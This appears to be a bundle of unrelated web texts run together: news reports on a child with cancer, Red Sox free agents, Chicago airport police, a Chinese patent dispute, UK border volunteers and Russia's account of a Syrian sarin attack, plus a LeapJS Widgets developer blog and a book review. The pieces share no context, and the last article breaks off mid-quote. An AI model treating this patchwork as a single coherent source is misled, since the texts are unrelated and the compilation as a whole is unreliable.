-Copyright by WPRI - All rights reserved Photos: Gronk visits Dorian Murray and his family »  Copyright by WPRI - All rights reserved Photos: Gronk visits Dorian Murray and his family »  Courtney Caligiuri; Reporting by Walt Buteau - WESTERLY, R.I. (WPRI) - New England Patriot Rob Gronkowski is known for his toughness, but he's got nothing on 8-year old Dorian Murray, who the world now knows as "#DStrong."  The tight end met the tough kid from Westerly Monday night, as Dorian's struggle with cancer was zipping around the world thanks to social media. In November, former Patriot Patrick Pass surprised Dorian with a visit. Both hung out with Dorian, signed autographs, and urged him to stay strong.  Dorian's toughness is woven into almost four years of treatment for rhabdomyosarcoma, a pediatric cancer that was diagnosed when he was 4. He's been through a lot.  "The needles, the meds," he said from his mom's couch. "Everything we have to go through. It's a lot to take."  Copyright by WPRI - All rights reserved Photos: Gronk visits Dorian Murray and his family »  Copyright by WPRI - All rights reserved Photos: Gronk visits Dorian Murray and his family »  In December, after a checkup indicated cancer cells were in Dorian's spinal fluid, Dorian and his family made the decision to stop treatment just after the new year. Then, about three days ago, Dorian told his dad he had a goal.  As his mom tells it, Dorian said he wanted to be famous on "the bridge in China."  "He meant the Great Wall of China," Melissa Murray said. "But we knew that would be hard with the long travel and everything."  So, Dorian adjusted his goal.  "I'm just thinking before I go to heaven to try to be famous as much as I can," he said.  What followed was a social network tidal wave. A couple of posts on Facebook, a few more on Twitter, and before his family and friends knew it, the world responded to the hashtag, D-Strong.  "It's like my little logo thing," Dorian explained, holding up his arms in a pose Gronk would be proud of. "You have to like stay strong for D."  Thousands have joined in the spirit of that within the past few days, from New England's Gronkowski to unknown men and women around the world.  "I've gotten Paris, Japan," he said with a thoughtful huff. "Switzerland, Italy."  And a picture of a man holding a D-Strong sign on that bridge in China. On Facebook and Twitter, the message is "we're behind you, kid."  "They're just saying to keep fighting," said Dorian. "They believe in me. And it's just really nice to know that so many people have my back for me."  He seemed older than 8 years old to us, with a sense of humor to match, despite what he's faced, and still faces.  "I'm 8," he insisted. "I am 8."  When we playfully asked for an ID, he held his own like someone far wiser than his years.  "I have my birth certificate," he said, as the living room of friends and family erupted with laughter.  His mom and dad hope to make their son as comfortable and happy as possible in the coming weeks. And his mom wants the world to know more about pediatric cancer, including the survival rate of about 20 percent and the lack of funding.  She might some day start a foundation to get that message out there but for now, her goal is to help her son smile as much as possible as the world stands behind him.  In the meantime, a GoFundMe page has been set up to help the family with medical expenses.  For updates on Dorian, visit the family's Facebook page: Praying for Dorian.  People from all over the world, including China, Italy and America are taking pictures of themselves holding a sign reading #DStrong, to show Dorian they are behind him and that they want to help make his wish come true.  To show your support, use #DStrong on social media.  https://www.facebook.com/photo.php?fbid=10153342511343450&set=pcb.10153342513613450&type=3&theater  https://www.facebook.com/photo.php?fbid=10153407235457075&set=o.129903487142638&type=3&theater  https://www.facebook.com/photo.php?fbid=10153883435038343&set=a.10150548412308343.438955.632148342&type=3&theater  https://www.facebook.com/photo.php?fbid=10208247679455596&set=pcb.10208247689775854&type=3&theater  https://www.facebook.com/photo.php?fbid=10156417733105066&set=pcb.10156417742285066&type=3&theater  https://www.facebook.com/PrayingForDorian/photos/pcb.749845081815139/749845071815140/?type=3&theater  https://www.facebook.com/PrayingForDorian/photos/pcb.749845081815139/749845058481808/?type=3&theater
-Who said Unity developers have all the fun? From building virtual hands in Three.js to browser-based virtual reality, we’re also developing new tools to enable truly 3D interaction on the web. This week, we’re happy to announce LeapJS Widgets – basic UI elements can be used in a wide variety of experiences. It’s a brand new library, simple enough to be used with just a few lines of code, but with near-infinite possibilities for experimentation and customization.  In this post, we’ll take a look at a couple of new demos on our Developer Gallery featuring these fundamental building blocks, plus a shadows demo that embodies some key best practices. The LeapJS Widgets library is designed for both desktop and VR, and while these demos are designed for desktop, they can be easily upgraded to VR by following the LeapJS + VR guide. You can find leap-widgets.js (including documentation) at github.com/leapmotion/leapjs-widgets.  Button  Much like the Unity Button Widget, this demo provides a clean, simple interface for trigger-based interactions – with buttons that can be moved along their own Z-axis. The buttons can be pushed by your virtual fingertips or other joints on your hand.  var button = new PushButton( new InteractablePlane(buttonMesh, Leap.loopController) ).on('press', function(mesh){ mesh.material.color.setHex(0xccccff); }).on('release', function(mesh){ mesh.material.color.setHex(0xeeeeee); });  To make the widget easy to customize, we’ve created a small Button API that provides you with the following options:  whether the button stays pressed in after being pressed  how far the button will go when pressed  how far the button will go when returning while locked/engaged  Plane  One of the key building blocks for LeapJS Widgets is the InteractablePlane API, which allows you to interact with an existing Three.js plane with your hands. Plus, by parenting buttons and planes to a rotated object, you can orient them in any direction. With the Plane Widget demo, InteractablePlane makes it possible to move a plane on its X and Y axes.  var planeMesh = new THREE.Mesh( new THREE.PlaneGeometry(0.1, 0.2), new THREE.MeshPhongMaterial() ); scene.add(planeMesh); var plane = new InteractablePlane(planeMesh, Leap.loopController);  InteractablePlane is triggered whenever the bone lines in your virtual hand intersect the plane, so you can even manipulate more than one at a time! This approach can be used to easily sort and explore content, like in our recent VR Collage demo for Mozilla’s Firefox VR beta:  There’s a lot more to LeapJS Widgets than just these two small examples – check out the full documentation on GitHub! We’re really excited to see how you adapt the default configurations provided with your own meshes, and incorporate these elements into your own projects.  (By the way, one new mesh tool that we’re really excited about is DOM2three. Developed by the Mozilla WebVR team, it allows you to convert HTML layout elements into a mesh. In turn, this can then be added to a Three.js scene. While the project is still in its nascency, we believe that DOM2three is going to be a really important part of designing the 3D web – and it’s already immensely useful.)  In this next demo, we’ll see the InteractablePlane API used again. This time, it’s to show how light and shadow can be used as essential visual cues to make interactions feel more intuitive and accessible.  Shadows  Shadows are an incredibly powerful visual cue for 3D experiences. Not only do they make your demos look and feel more realistic, we naturally understand how they relate to the objects that create them. By using shadows in your own projects, you can give users an intuitive sense of depth, distance, and perspective – reducing the cognitive load needed to figure out how objects in a scene relate to each other in 3D space.  To show how you can build more intuitive experiences for desktop and VR, we’ve created a simple Shadows demo, featuring a white screen, a floating cube, and a light source. Reach out and see how your hands cast shadows on the screen – making it easier to tell where they are compared to the cube.  As with all things Three.js, Shadows is built on the shoulders of giants; in this case, the shadow mapping technique available through WebGL. You can find out more about using shadow casting in this how-to article. Depending on what type of experience you want to build, shadows are also potentially very useful in developing realistic buttons with the Button Widget.  What’s next? Tell us your crazy ideas  In many ways, the current generation of widgets reflects interactions that we’ve ported over from 2D interfaces. But of course the 3D web is still unknown territory, and we’re just beginning to explore the wild frontiers of VR. We can take LeapJS Widgets beyond 2D ways of thinking about interaction design, and it starts with imagination.  So, we’d love to know – how do you use the current Widgets, and what would you like to do with them? Taking it even further, what crazy things should be added to this library? Maybe you squeeze an object and it deforms to activate a trigger. Maybe you grab a tesseract and manipulate multiple dimensions at once. Whatever it is, let us know in the comments!
-I have read most of Cyrus Kirkpatrick's books before (probably like 10 of them) and really enjoyed all of them but this one is my personal favorite as it was really mind opening and I could personally relate to it. You will love to see that Cyrus goes into detail about different sides of networking and he goes the extra mile to protect his readers from what I call “Get rich tomorrow” dream entrepreneurs, con-artists and various scammy schemes. I really enjoyed this read and even had some good laughs when Cyrus shared his personal experiences, thoughts and his life in Los Angeles…. and as his interesting personality shined throughout the book. The tip that I am going to apply straight away is to get new business cards, specifically for networking, not for clients. Great idea, never thought of that. A definite recommend just like the rest of the books in his lifestyle design series. He is honest, passionate and successful, definitely a role model for me!
-Joe Raedle/Getty Images President-elect Donald Trump  U.S. foreign policy under President Donald Trump is the top risk to the global markets, according to a new Eurasia Group report released Tuesday.  “The world’s sole superpower was once the international trump card, imposing order to force compromise and head off conflict. Now it’s the wildcard,” the report concluded.  Trump will not be an isolationist and will intervene strongly when he thinks U.S. interests are at stake, the report said. As a result, his policy will be more hawkish and much less predictable.  U.S. foreign policy will be more akin to China, with narrow short-term agreements that are win-win for the two parties and “everyone else be damned,” said Ian Bremmer, Eurasia Group’s president, in an interview on Bloomberg.  Financial markets don’t appreciate that “this year marks the most volatile political risks environment in the postwar period, at least as important to global markets as the economic recession of 2008,” he said.  “Allies, especially in Europe and Asia, will hedge. Rivals like Russia and China will test,” the report said. For instance, China’s President Xi Jinping may overreact to the new U.S. stance because he cannot afford to look “weak and irresolute” ahead of next fall’s ruling Communist party congress.  In a separate interview on Bloomberg, former Treasury Secretary Lawrence Summer agreed Trump’s likely “truculent nationalism” was a leading risk to the global economy.  “The uncertainty premium on everything should go up,” Summers said.  German Chancellor Angela Merkel will likely win reelection in 2017 but will emerge as a weakened figure, the report said.  “This will leave Europe with no strong leadership at all — at a time when strong leaders are badly needed,” the report said.  Want news about Europe delivered to your inbox? Subscribe to MarketWatch's free Europe Daily newsletter. Sign up here.
-BOSTON (CBS) – The Boston Red Sox made qualifying offers to three of their four free-agents-to-be on Monday. Catcher Jarrod Saltalamacchia was not one of them.  GM Ben Cherington announced that the team would make one-year, $14.1 million qualifying offers to first baseman Mike Napoli, center fielder Jacoby Ellsbury and shortstop Stephen Drew prior to Monday’s 5 p.m. deadline at a press conference at Fenway Park on Monday afternoon.  By making a qualifying offer to players, teams would receive a draft pick in compensation should that player sign elsewhere. If no offer is made, the player becomes an unrestricted free agent.  “With all of our free agents, there is interest in every one of them. I also think it’s unlikely that every one of them will be back,” Cherington said on Monday. “That’s the nature of the game.”  “We’ll keep conversation going for all of them and alternatives,” noted Cherington. “We’d like to have them all back but we’ll have to see how it goes and how the money shapes out.”  Saltalamacchia hit 14 home runs and finished the regular season with a career-high .273 batting average, but spent the final three games of the World Series on the bench in favor of veteran backstop David Ross, who is signed through next season. With Ryan Lavarnway waiting in the wings, Boston may opt to move on from Saltalamacchia, who could get a rather pricey, multi-year deal on the free agent market.  READ: Red Sox Exercise $13 Million Option On Jon Lester  Napoli, who hit .259 with 23 home runs in the regular season after signing a one-year deal with Boston, will likely get the multi-year deal he sought last off-season. Napoli and the Red Sox had initially agreed on a three-year deal but concerns over avascular necrosis (AVN) in the first baseman’s hips led to the two sides agreeing on just the one-year pact. Now, after making some big swings during Boston’s World Series run, Napoli will be able to get that multi-year deal the Red Sox balked at last off-season.  WATCH: Ortiz, Victorino Shave Beards For Charity  Ellsbury and super agent Scott Boras are expected to command a big-money, long-term deal for the 30-year-old center fielder, and he’ll have plenty of suitors lining up for his services. The Red Sox could still re-sign Ellsbury, but now they’ll at least get something in return should he bolt town.  Drew is an interesting case, as he too is in the market for a multi-year deal. He made $9.5 million in 2013, and with Xander Bogaerts looked primed to take over at short, it will be interesting to see if he can find that deal he’s looking for, or accepts Boston’s qualifying offer.  PHOTOS: Red Sox Parade Of Champions  There was expected to be some turnover for the 2013 World Series champs, and Monday afternoon will be the first domino to fall in terms of players coming and going.  MORE SPORTS FROM CBS BOSTON
-(CNN) The union representing aviation police officers at Chicago's two airports is asking Mayor Rahm Emanuel to shore up security by allowing officers to carry guns.  The request follows a CNN investigation that found that hundreds of aviation police officers are not armed and have been told to "run and hide" in the event of an active shooter.  A longstanding policy prohibits those aviation police officers from carrying a gun even though they are certified law enforcement officers; about 300 of them work along with armed Chicago police, which is the primary law enforcement agency at both airports.  "The safety of the flying public that utilize the Midway and/or O'Hare airports, and the APOs (aviation police officers) who are an integral part of the security of these airports is at high risk for compromise," according to a January 4 letter to Emanuel from Matt Brandon, secretary-treasurer of Local 73 of the Service Employees International Union.  The "run and hide" training given to aviation police "is contrary to everything... taught in the Chicago Police Academy," Brandon wrote.  He also requested a meeting with the mayor.  A representative for the mayor's office told CNN the letter was being reviewed, and no response has been sent yet.  In addition, Brandon claimed that Chief Richard Edgeworth, who oversees the aviation police officers, and Department of Aviation Commissioner Ginger Evans are hampering security measures.  "Their ostrich approach to attacks on the flying public and the employees/personnel at Midway and O'Hare airports cannot be part of any rational security strategy," the letter stated.  Evans has strongly defended Edgeworth against the union's attempt to oust him in the wake of a no-confidence vote by aviation police officers last September.  Edgeworth did not respond to repeated phone calls and offered a "no comment" before walking away when a CNN reporter approached him last fall outside his office.  In a statement to CNN Wednesday, a spokesman for the aviation department cited numerous security awards for Chicago's airports and wrote, "The multi-layered security approach at O'Hare and Midway Airports is working to keep passengers, employees, and security officials safe. The close coordination between Aviation Security Officers, the Chicago Police Department, TSA, U.S. Customs and Border Control, and the FBI has a successful track record of keeping the airports secure."  "How does 'run and hide' give the APOs... a chance to defend the traveling public or themselves?" Brandon's letter asked. "How does 'run and hide' help those 'different agencies' stand and defeat an attack?"  He continued: "After seeing the CNN exposé on our unarmed APOs, and watching Chief Edgeworth 'run and hide' from dangerous camera-wielding reporters, it all made perfect sense."  The union says there are about 279 aviation police officers out of 309 budgeted at O'Hare and Midway airports. An additional 231 armed Chicago police officers and supervisors are also budgeted.
-F-35Bs showcase their STOVL capabilities that can be useful for remote airfield ops.  Taken on May 6, 2015 the following footage features two F-35Bs from Marine Fighter Attack Squadron 121, based out at Marine Corps Air Station Yuma, practicing short take off and vertical landings as part of required flying field carrier landing practices (FCLP) at the station’s auxiliary landing field.  Although the F-35B has been developed to meet the requirement of the nations that operate ski-jump ramp-equipped aircraft carriers, it could also attract the interest of those air forces that need to disperse their aircraft to remote locations in order to safeguard their own efficiency after the first day of war. In fact, its STOVL (Short Take Off Vertical Landing) capabilities enable the F-35B to operate from quickly-prepared landing strips close to the front and away from the fixed airfields that would rapidly come under attack during wartime.  This is the reason why Israel would be ready to buy the F-35B as well.  Needless to say, operating from a remote field is something more than taking off and landing from a simulated U.S. Navy amphibious assault ship…  Related articles
-CLOSE Brock Osweiler threw a TD and ran for another, and the Texans defense stifled Raiders rookie QB Connor Cook in a 27-14 win. Time Sports  Bill )'Brien (Photo: Troy Taormina, USA TODAY Sports)  Bob McNair said he isn't firing coach Bill O’Brien.  The Texans’ owner responded to reports he was considering a coaching change after the Texans’ 27-14 victory over Oakland on Saturday night.  “No, I don’t know where they get that from,” McNair told reporters. “There’s nothing to it. I’m not going to fire him. We are already talking about next year. Forget that. If I were you, I wouldn’t repeat it because it’s false.”  Bob McNair on Bill O'Brien 'I'm not going to fire him' said reports untrue said already planning to have him back next year — Aaron Wilson (@AaronWilson_NFL) January 8, 2017  He said the reports were untrue and he wasn’t considering firing O’Brien even if the Texans lost in the first round of the playoffs for the second consecutive season.  McNair even said he “chuckled” at the reports.
-Court documents show that Hilead was set up with the help of the state-run Chinese Academy of Sciences. And because the project fit national and local government policy goals, Hilead received a $300 million loan from the national government’s China Development Bank. The loan came after the company won the approval of the party secretary of Shandong Province, one of the country’s highest-ranking public officials.  “We created a great product and they stole it,” Liu Xiucai, Cathay’s 54-year-old founder and chief executive, said in an interview in his office.  In a lawsuit, Cathay has accused Hilead of patent infringement and theft of trade secrets. Hilead has countersued, claiming Cathay stole patents from the Chinese Academy. The government has taken Hilead’s side, stripping Cathay of one of its top patents.  Although the specifics of the case are in dispute, the broad outline follows what some economists and academics consider a disturbing pattern.  After more than a decade in which private companies have been the prime engine of China’s economic miracle, the Chinese government is eager to control more of that wealth — even if that means running roughshod over private companies.  Chen Zhiwu, a professor of finance at Yale University and a harsh critic of the state’s dominant role in the economy, says the Chinese government is smothering the private sector. “When the government is involved in business, it’s hard for private companies to compete,” Professor Chen said.  The usurping of private enterprise has become so evident that the Chinese have given it a nickname: guojin mintui. That roughly translates as “while the state advances, the privates retreat.”  Advertisement Continue reading the main story  Some prominent Chinese economists are warning that the potentially corrosive effects of an approach that favors government companies at the expense of the private sector could eventually stifle innovation, saying it could stunt China’s long-term growth and quash the rising aspirations of the nation’s 1.3 billion people.  “If China doesn’t deal with this problem and strengthen the private sector, this country’s growth is not sustainable,” said Xu Chenggang, a professor of economics at the University of Hong Kong .  Hilead executives declined to comment for this article. A Chinese Academy of Sciences spokesman would say only that the lawsuit against Cathay was meant to protect his organization’s “rights and benefits.”  What is clear is that Hilead, with all its government support, has been able to slash prices. Cathay has had no choice but to do likewise, costing the company as much as $10 million in profit over the last year, a drop of at least 20 percent.  Adding to Cathay’s challenges, Beijing officials recently declared its particular type of nylon production a matter of “national security” — a designation that gives state-backed companies like Hilead even more protection and privileges and makes competing with them all the more difficult.  There are a variety of reasons the Chinese government is seeking an enlarged role in the economy — including fears that wealthy entrepreneurs could begin to challenge the Communist Party. There is also an ingrained belief among leaders that the state is better at driving growth and redistributing wealth. And so state companies have been given the green light to expand their interests and move into anything that promises high returns — whether real estate, finance, technology or other fields.  Private entrepreneurs have long complained about the way state banks discriminate against them, forcing them to turn to loan sharks and pay a higher cost for capital. They also say they are squeezed by state corporations that have the power to overcharge for basic services like power, transportation and telecommunications.  “If the government doesn’t interfere, these entrepreneurs would be productive,” said Zhang Weiying, a professor of economics at Peking University, one of the country’s most prestigious schools.  Advertisement Continue reading the main story  A Promising Start  Mr. Liu, Cathay’s chief executive, has not always been at odds with the Chinese establishment. For years, in fact, he seemed to be a favorite son.  Early in his career he was an avatar of the plan envisioned by China’s leader in the early 1980s, Deng Xiaoping , to send bright Chinese students overseas in hopes of their returning to help the motherland close the gap with the West in science and technology.  After earning a Ph.D. in chemistry from the University of Wisconsin at Milwaukee in 1989, Mr. Liu did come back to China. He collaborated with a series of state institutions, including the Chinese Academy of Sciences. His achievements included helping the government support the country’s fledgling vitamin C industry — an effort so effective that today about 80 percent of the world’s industrially produced vitamin C is made in China.  In 1997, when Mr. Liu founded Cathay with the promise to create a homegrown biotechnology firm, it was showered with government tax breaks and other incentives.  But today, Mr. Liu says the state has become his opponent.  Like many Chinese of his generation, Mr. Liu has known a lifetime of shifting government policies. Born in 1957 in an impoverished village in eastern China’s Anhui Province, he grew up during the Cultural Revolution, a period of social and political chaos that began in 1966 and lasted a decade, in which public officials were paraded through the streets wearing dunce caps, and students were encouraged to lead “struggle sessions” against their teachers.  After Mr. Liu’s father was jailed for supposed political crimes, the family struggled to eat. A strong-willed mother kept the family together, however, and made education a priority.  Mr. Liu completed high school. But with colleges shuttered during the Cultural Revolution, he followed the prescribed path of so many other graduates in his region: growing rice and wheat and helping organize peasants into farming and construction crews.  Then China abruptly reversed course, announcing in 1977 that it would reopen colleges and reinstitute the national college entrance examination. Mr. Liu’s score was high enough to win admission to one of the country’s elite schools, the University of Science and Technology of China.  Advertisement Continue reading the main story  After earning a degree in chemistry and doing advanced work at the Chinese Academy of Sciences, Mr. Liu headed to Milwaukee.  Photo  “He was simply the best graduate student I ever had,” said Jim Otvos, Mr. Liu’s adviser at the University of Wisconsin. “He got his Ph.D. in three years. It usually takes five.”  Then came postdoctoral research at Yale and Columbia, which led to a position as a senior research scientist at Sandoz Pharmaceuticals, where Mr. Liu worked on drug development.  A Return to China  In 1994, he returned to China with a simple idea: to find drugs that had gone off patent in the United States or Europe , replicate their properties through reverse engineering and then introduce them to the Chinese market, which was then suffering from a shortage of modern medicines.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Within a year, he raised $4 million and formed a partnership with Peking University and the Stone Group, one of China’s first private companies and an early investor in science and technology start-ups.  “I admire Liu’s way of doing things,” said Duan Yongji, chief executive at the Stone Group and a member of Cathay’s board. “He’s extremely tenacious. If I left the office at 12 a.m., he’d leave at 1 a.m.”  The result was a series of mostly successful drug deals. With the small fortune he made, he founded Cathay Biotech in 1997.  The company’s initial success came in refining a manufacturing process that used microbes to turn a type of wax into diacid, a chemical building block of nylon.  Many companies around the world had discovered various ways to use microbes to produce diacids through fermentation. But most abandoned the work as too costly and complex. When Cathay refined its process, Dupont decided to work with the Chinese company, according to Dupont executives.  Advertisement Continue reading the main story  By 2003, Cathay says, it was the only company in the world making large quantities of polymer-grade diacids through biofermentation. Outsiders support that claim.  “A lot of work was done on this in the ’80s and ’90s, but Cathay improved on it,” said E. William Radany, president of Verdezyne, a California company that is producing a similar product.  Today, Cathay produces 13,000 metric tons of diacid a year — about half the world’s industrial output.  Along the way, Mr. Liu acknowledges, he probably made some enemies in China. Despite his years of collaborating with the government, Mr. Liu began making public accusations of corruption and scientific fraud in state-run industries and of government meddling in private companies.  In a 2010 article in a Chinese magazine called Entrepreneur, for example, he wrote, “The government controls the sources of production cost, adding unnecessary burdens to private companies, like electricity, waste water treatment, etc.”  He also had occasional run-ins with people at the powerful Chinese Academy of Sciences, one of whose vice presidents until a few weeks ago was Jiang Mianheng, the son of the former Chinese President Jiang Zemin .  Beyond Mr. Liu’s impolitic complaining, legal experts say, his biggest mistake may have been failing to carefully protect his technology. Although Mr. Liu says he knew how common it was for factory bosses to make off with trade secrets, he let a team of crucial employees depart a few years ago — and simply ignored the exodus.  Government Backing  In its lawsuit, Cathay contends that the theft of its manufacturing designs took place in 2008. That was after Wang Zhizhou, deputy general manager at the company’s diacid manufacturing plant, in Shandong Province, decided to resign.  Advertisement Continue reading the main story  Mr. Wang could not be reached for comment, despite repeated efforts. But former colleagues say he had complained about being passed over for the top position at the Shandong plant and was dissatisfied with his $1,500-a-month salary — about half what he could earn elsewhere, several experts said.  Cathay’s lawyers say Mr. Wang left with six other workers and formed Hilead, along with Chen Yuantong, a retired scientist from the Chinese Academy of Sciences.  In an interview, Mr. Chen, now Hilead’s chief scientist, denied that Mr. Wang’s departure from Cathay involved any theft of trade secrets. He said Cathay should have tried harder to retain Mr. Wang. “Who will leave a company if the company doesn’t have a management problem or pays well?” Mr. Chen said.  A co-founder and the initial financial backer of Hilead was Cao Wubo, a wealthy entrepreneur who had strong ties to the Shandong provincial government and had already turned a military pharmaceutical maker into a Nasdaq-listed company. According to court papers, Mr. Cao said in early 2009 that Hilead had promising technology and deserved strong government support.  He got it. In May 2009, the party secretary in Shandong — one of the nation’s most powerful leaders — helped put the project on the fast track.  And two months later, in July 2009, Mr. Cao met with a dozen officials from the city of Laiyang, which had built a high-tech industrial park in Shandong Province.  A planning document from that meeting said the local government would seek more than $150 million in financing for Hilead from a provincial infrastructure fund as well as local government banks.  It is unclear whether the government at this point knew about Cathay’s patent or that Mr. Wang had come from Cathay. Analysts say that rather than being a target of government animus, Cathay may have simply been an unintended victim — collateral damage — of the Chinese government’s drive to bolster state partners like Hilead.  Advertisement Continue reading the main story  With the Academy of Sciences blessing Hilead, the China Development Bank agreed in 2009 to make a $300 million loan to the company. In 2010, Hilead opened its huge biotechnology plant, and began marketing its own diacid for use in making specialty nylons.  Hilead’s path hasn’t been without potholes. The company was implicated when Mr. Cao’s other business, Jiangbo, was delisted by Nasdaq in the United States this year after the Securities and Exchange Commission issued a subpoena seeking financial documents and halted trading in the stock.  In a class-action lawsuit filed in Florida against Jiangbo, lawyers allege that the company failed to disclose a $25 million payment to Hilead. The suit accuses Jiangbo of issuing “materially false and misleading” financial statements.  In its own business, though, Hilead appears to be on a roll. Shortly after the factory opened in 2010, Hilead quickly began offering its products to big purchasers of nylon components, including Dupont, and promised to slash prices to compete with the market leader, Cathay, according to court documents. Hilead quickly acquired an estimated 10 percent share of the global market.  Only after filing his lawsuit earlier this year did Mr. Liu realize the forces he was up against.  Tapping his own government ties in the city of Jining, where his diacid factory is located, Mr. Liu persuaded the local courts to authorize a police inquiry. In September, a court dispatched officers 400 kilometers north to Hilead’s factory in Laiyang, to investigate whether the company had copied Cathay’s production techniques.  But when the court officers arrived at the factory gate, they were told that Hilead had been designated a national security interest by the Beijing government. No outsiders could enter the complex. Cowed, the officers drove back to Jining to deliver the bad news to Mr. Liu.  “Personally, I will not give up on this dream,” Mr. Liu said. “I’m Chinese, you know, so the Chinese government should want me to contribute. We’re pioneers. If the Chinese government does not allow me to do this, I will find another place.”
-MUSKEGON, MI - An officer of the law in Muskegon could soon be spending most of his time "investigating and educating" medical marijuana providers and marijuana-related businesses.  The Muskegon County Board of Commissioners Courts and Public Safety committee recently voted to accept a $61,249 Medical Marijuana Operation and Oversight grant from the Michigan Department of Licensing and Regulatory Affairs, called LARA.  LARA recently made funding available to each county in Michigan, officials said. Muskegon County would collect $3,063 to serve as the grant administrator and fiduciary agent, while $58,186 is budgeted for an officer working for the city of Muskegon and the West Michigan Enforcement Team, called WEMET.  "There's just been an uptick in ... activity," said Muskegon County Grants Coordinator Connie Maxim-Sparrow.  A city of Muskegon officer would be dedicated to "investigating and educating" medical marijuana providers and marijuana-related businesses, according to county documents.  Muskegon County Prosecutor D.J. Hilson said that while caregivers are allowed to give marijuana to patients with medical marijuana cards, dispensaries are not legal. The officer could check on "grow shops" catering toward people growing their own marijuana, or other marijuana-related businesses, he said - mostly to ensure no marijuana is sold under the table.  The money provides some direction into a gray area that law enforcement and prosecutors in Michigan have been trying to navigate for nearly a decade, Hilson said.  "We've been figuring it out for eight years," Hilson said. "Finally, we've got some money to dedicate to an officer."  Muskegon County Commissioner Charles Nash, who is trained as an addiction counselor, said that marijuana available in the present day is more potent than that consumed in previous decades.  "It's not the same story that we had back in the day," he said.  The Muskegon County Board of Commissioners will vote again on the grant when it meets as the full board later this month.  Stephen Kloosterman is a reporter for MLive. Email him at sklooste@mlive.com or follow him on Facebook, Twitter, and Google+  .
-Image copyright Getty Images  Volunteers could be used to guard some of the UK's borders, the Home Office has said.  The plans under consideration are for "Border Force Special Volunteers" to be used at small air and sea ports.  A Home Office spokesman said it was "considering the potential benefits" and looking at how they are used by police forces.  But Conservative MP Charlie Elphicke told the Mail on Sunday: "We can't have a Dad's Army-type of set-up."  The Public and Commercial Services (PCS) union, which represents many Border Force staff, said the government was risking the country's security "on the cheap".  The proposal comes after recent reports have raised concerns over "poor" coverage of some minor harbours and landing places.  The Border Force carries out immigration and customs controls for people and goods entering the UK.  But an assessment by the Chief Inspector of Borders and Immigration, published in July, said there were long periods of non-attendance by Border Force at some locations as well as a shortage of staff able to use specialist scanners.  It looked at 62 normally unmanned ports on the east coast and found that Border Force officers had not visited 27 of the sites between April 2015 to June 2016.  Chief Inspector David Bolt's report also revealed the number of clandestine migrants detected at the ports had almost doubled in 12 months rising from 233 to 423.  Another report by David Anderson QC, former independent reviewer of terrorism legislation, said there were similar issues with smaller south and east coast ports, marinas and landing places, adding it was "conceivable" they might be an option for returning foreign fighters or other terrorists.  'Ridiculous plans'  The Home Office said if it was to introduce volunteers, they would be used to "bolster" Border Force staffing levels and would not be used by Immigration Enforcement.  But Mark Serwotka, general secretary of the Public and Commercial Services (PCS) union, called the plan "ridiculous".  "Border Force are already using poorly trained seasonal workers at most ports and airports, not just at peak periods but throughout the year because of permanent staff cuts," he said.  "The plans to use volunteer Border Force specials is a further move towards casualisation of the workforce."  Mr Elphicke, MP for Dover, said he would "urge great caution before seeking to adopt a model like that used by the police, with special constables".  "Border security is a skilled job, which takes many years of training."
-Russian President Vladimir Putin. Thomson Reuters Russia's government said Wednesday that the toxic gas that killed 83 people and wounded at least 150 in northern Syria the day before was released accidentally when a Syrian air strike hit a "terrorist warehouse" containing "toxic substances."  "According to the objective data of the Russian airspace control, Syrian aviation struck a large terrorist warehouse near Khan Shaykhun that housed a warehouse making bombs, with toxic substances," the Russian defense ministry said in a statement.  "The arsenal of chemical weapons" was destined for fighters in Iraq, the ministry added.  Experts have cast doubt on Russia's explanation for Syria's worst chemical weapons attack since 2013, when Syrian President Bashar Assad — an ally of Russian President Vladimir Putin — is believed to have used sarin gas to kill as many as 1,400 people in the outskirts of Syria's capital, Damascus. Assad still denies responsibility for that attack.  A civil defense member breathes through an oxygen mask, after what rescue workers described as a suspected gas attack in the town of Khan Shaykhun in rebel-held Idlib in Syria, April 4, 2017. Thomson Reuters  Colonel Hamish de Bretton-Gordon, a chemical-weapons expert, told the BBC on Wednesday that Russia's claim was "fanciful" and that it would be "unsustainable" for a nerve agent like Sarin gas to spread as far as it did as the result of a bombing.  Instead, the US has determined that Syrian warplanes dropped the chemical weapons, which caused injuries and deaths that the World Health Organization said were "consistent with exposure to organophosphorus chemicals, a category of chemicals that includes nerve agents."  British Foreign Secretary Boris Johnson said "all the evidence I have seen suggests this was the Assad regime ... using illegal weapons on their own people."  The commander of the Free Idlib Army rebel brigade, Hasan Haj Ali, told Reuters that "everyone saw the plane while it was bombing with gas."  Bellingcat founder Eliot Higgins, who has covered the Syrian civil war extensively, poured more cold water on the Russian claim early Wednesday morning.  Higgins added that other images from the chemical attack were posted online at 2:28 a.m. ET, two hours before the air strike was said to hit the chemical warehouse, which Russia said occurred at 4:30 a.m. ET.  The Conflict Intelligence Team, a nonprofit founded by Russian blogger and activist Ruslan Leviev to monitor the events in eastern Ukraine, added that while "Russian media did report repeated use of chemical weapons by rebels in Aleppo" in late 2016, "each time the weapon allegedly used was chlorine" — not sarin. The Assad regime has been accused of dropping chlorine bombs on civilians in Idlib province at least twice between 2014 and 2015.  A nurse treating a boy suffering from breathing difficulties inside a hospital in Aleppo, Syria. Aleppo Media Center via AP  An 'infantile argument'  Dan Kaszeta, a veteran of the US Army Reserve's Chemical Corps — the branch of the US Army responsible for protection against chemical, biological, and nuclear threats — further debunked Russia's claim.  "To date, all of the nerve agents used in the Syrian conflict have been binary chemical warfare agents," Kaszeta wrote on Bellingcat, adding that the Organization for the Prohibition of Chemical Weapons inspections after Syria's accession to the Chemical Weapons Convention in 2013 "revealed a variety of fixed and mobile mixing apparatus for making binary nerve agents."  The Assad regime began mixing the chemicals to create sarin in 2012, CNN reported at the time.  "Even assuming that large quantities of both sarin precursors were located in the same part of the same warehouse (a practice that seems odd), an airstrike is not going to cause the production of large quantities of sarin," Kaszeta added. "Dropping a bomb on the binary components does not actually provide the correct mechanism for making the nerve agent. It is an infantile argument."  Brian Palmer, a reporter for Slate covering science and medicine, wrote in 2012 that "the technical challenge for users of sarin is the dispersal." The nerve agent, he wrote, is exponentially more deadly when it is "aerosolized," or converted into a fine spray.  Because one of the "precursors" for sarin is isopropyl alcohol, if a warehouse with sarin in it had been bombed, then it would have gone up "in a ball of flame," Kaszeta wrote. "A very large one. 